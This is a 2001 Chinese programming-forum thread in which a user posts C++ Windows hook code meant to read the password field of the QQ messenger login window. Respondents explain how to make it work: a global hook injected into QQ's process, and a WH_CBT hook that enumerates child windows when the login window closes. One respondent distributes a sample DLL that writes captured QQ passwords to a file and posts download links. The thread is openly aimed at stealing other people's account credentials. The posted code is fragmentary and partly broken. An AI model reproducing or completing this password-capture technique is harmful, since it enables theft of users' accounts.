救命,钩子问题

ppyy 2001-11-13 08:58:33
我最近在学习HOOK,并且写了一个程序来练习,这个程序就是在WIN2000下获取QQ登录时候的密码框里的内容。。。。
我首先在我的程序里把一个DLL作为一个线程运行,然后在这个DLL线程里安装HOOK,具体几段代码如下:

HWND he,hc,h;
char szBuf[1024];
char *number,*password;
HHOOK OICQHOOK;

h=::FindWindow(NULL,"QQ用户登录");
if (h!=0)
{
::EnumChildWindows(h, (WNDENUMPROC)EnumProc,NULL);
OICQHOOK=SetWindowsHookEx(WH_MOUSE,MouseProc,GetModuleHandle("test.dll"),GetWindowThreadProcessId(h,NULL));
MessageBox(NULL,"password",number,MB_ICONINFORMATION);


LRESULT WINAPI MouseProc(int nCode,WPARAM wParam,LPARAM lParam)
{

SendMessage(hc,WM_GETTEXT,1024,(long)szBuf);
number=szBuf;

return CallNextHookEx(OICQHOOK,nCode,wParam,lParam);
}

LRESULT CALLBACK EnumProc(HWND H,LPVOID Info)
{
char szClassName[256];;
::GetClassName(H,szClassName,255);
if(stricmp("EDIT", szClassName) == 0)
{
he=H;
}
else if(stricmp("COMBOBOX", szClassName) == 0)
{
hc=H;
}
return 1;
}
程序按照我的设想应该是弹出一个对话框,对话框的标题应该是QQ的号码。但是现在弹出的对话框的标题是“错误”。

难道我不应该把HOOK写在线程里?书上说监视一个指定的线程可以不必把HOOK做成全局钩子,我现在只要监视指定的OICQ登录窗口,所以一起写在这个线程里了。
不知道是什么地方出错了,请指点

本来应该是程序运行后,弹出一个对话框
...全文
181 20 打赏 收藏 转发到动态 举报
写回复
用AI写文章
20 条回复
切换为时间正序
请发表友善的回复…
发表回复
Atan 2001-11-14
  • 打赏
  • 举报
回复
哪本书描写钩子函数比较好?推介一下
alphagx 2001-11-14
  • 打赏
  • 举报
回复
不用钩子,你根本得不到密码框的内容。
因为是2000, 不在同一进程,
对密码框发送WM_GETTEXT是没有用的
alphagx 2001-11-14
  • 打赏
  • 举报
回复
不用钩子,你根本得不到密码框的内容。
因为是2000, 不在同一进程,
对密码框发送WM_GETTEXT是没有用的
leizhengdeng 2001-11-14
  • 打赏
  • 举报
回复
你的原程序中是对鼠标钩的
而你却是用找窗口的方法,根本不要用钩子
smallfool 2001-11-14
  • 打赏
  • 举报
回复
钩子有两种,一种是全局钩子, 拦截整个系统的消息,另一种是线程专用钩子,你必须给钩子指定确定的线程.如果是全局钩子,你必须设置一些全局性的共享变量.当然在DLLMain()处理进程出入控制,而在专用钩子中,你DLLMain()处理的是线程出入控制.
alphagx 2001-11-14
  • 打赏
  • 举报
回复
http://jackymaster.3322.net/TestDll.zip
Hi2001 2001-11-14
  • 打赏
  • 举报
回复
无法下载!!!说我没有成为什么用户。
发给我一份吧。
sciwang@sina.com
alphagx 2001-11-14
  • 打赏
  • 举报
回复
我放在我的主页 上给你下载吧
http://alphagx.51.net/download/TestDll.zip
supperapplication 2001-11-14
  • 打赏
  • 举报
回复
alphagx(alpha),能不能给我也发一封。谢谢你了。supperapplication@yahoo.com
pitchstar 2001-11-14
  • 打赏
  • 举报
回复
可以考虑挂键盘钩子
pitchstar 2001-11-14
  • 打赏
  • 举报
回复
oicq 登陆窗口可能把 edit 子类化了,对他 gettext 没用
alphagx 2001-11-14
  • 打赏
  • 举报
回复
OK,又发了一份。
ppyy 2001-11-14
  • 打赏
  • 举报
回复
to alphagx(alpha):
没有收到啊,能不能再给我发一次?
winencrypt@yahoo.com
ppyy 2001-11-13
  • 打赏
  • 举报
回复
没有收到啊,能不能再给我发一次?
winencrypt@yahoo.com
谢谢
alphagx 2001-11-13
  • 打赏
  • 举报
回复
已经发出
测试程序你自己写吧,
反正就是用IdleUIInit初始化
IdleUITerm结束
截获到以后密码写在C:\Password.txt

我这个程序就是做了一个WH_CBT 的钩子,
登录窗口一结束,我在HCBT_DESTROYWND 中进行枚举子窗口
ppyy 2001-11-13
  • 打赏
  • 举报
回复
谢谢alphagx(alpha):bugbox@263.net
ppyy 2001-11-13
  • 打赏
  • 举报
回复
哦?
一定要做成全局钩子吗????不是说监视指定的窗口可以做成局部的吗?

其实在不在窗口销毁的时候截获都没有多大关系,我使用了一个计时器,设置时间间隔为10,这样重复获取密码框里的密码,当登录窗口消失的时候就停止获取。。效果也不错的。。。
还有,如果要在窗口销毁的时候截获?怎样判断QQ的登录窗口正在销毁?也使用钩子?那应该是使用什么类型的钩子?WH_CALLWNDPROC钩子吗?
alphagx 2001-11-13
  • 打赏
  • 举报
回复
我有一个截获QQ 的例子 ,
告诉我你的Email
alphagx 2001-11-13
  • 打赏
  • 举报
回复
你如果想得到QQ 的密码,我有几点建议。
最好在窗口销毁的时候截获。
还有,你现在要注入到QQ的进程中去,一定要把钩子做成全局的
ppyy 2001-11-13
  • 打赏
  • 举报
回复
说明一下,我要把安装HOOK的代码做在一个DLL里,而这个DLL是我的程序里的一个线程。。。
因为是要监视一个指定的窗口,所以没有做成全局钩子,而把钩子就写在那个线程里了

16,551

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • AIGC Browser
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

试试用AI创作助手写篇文章吧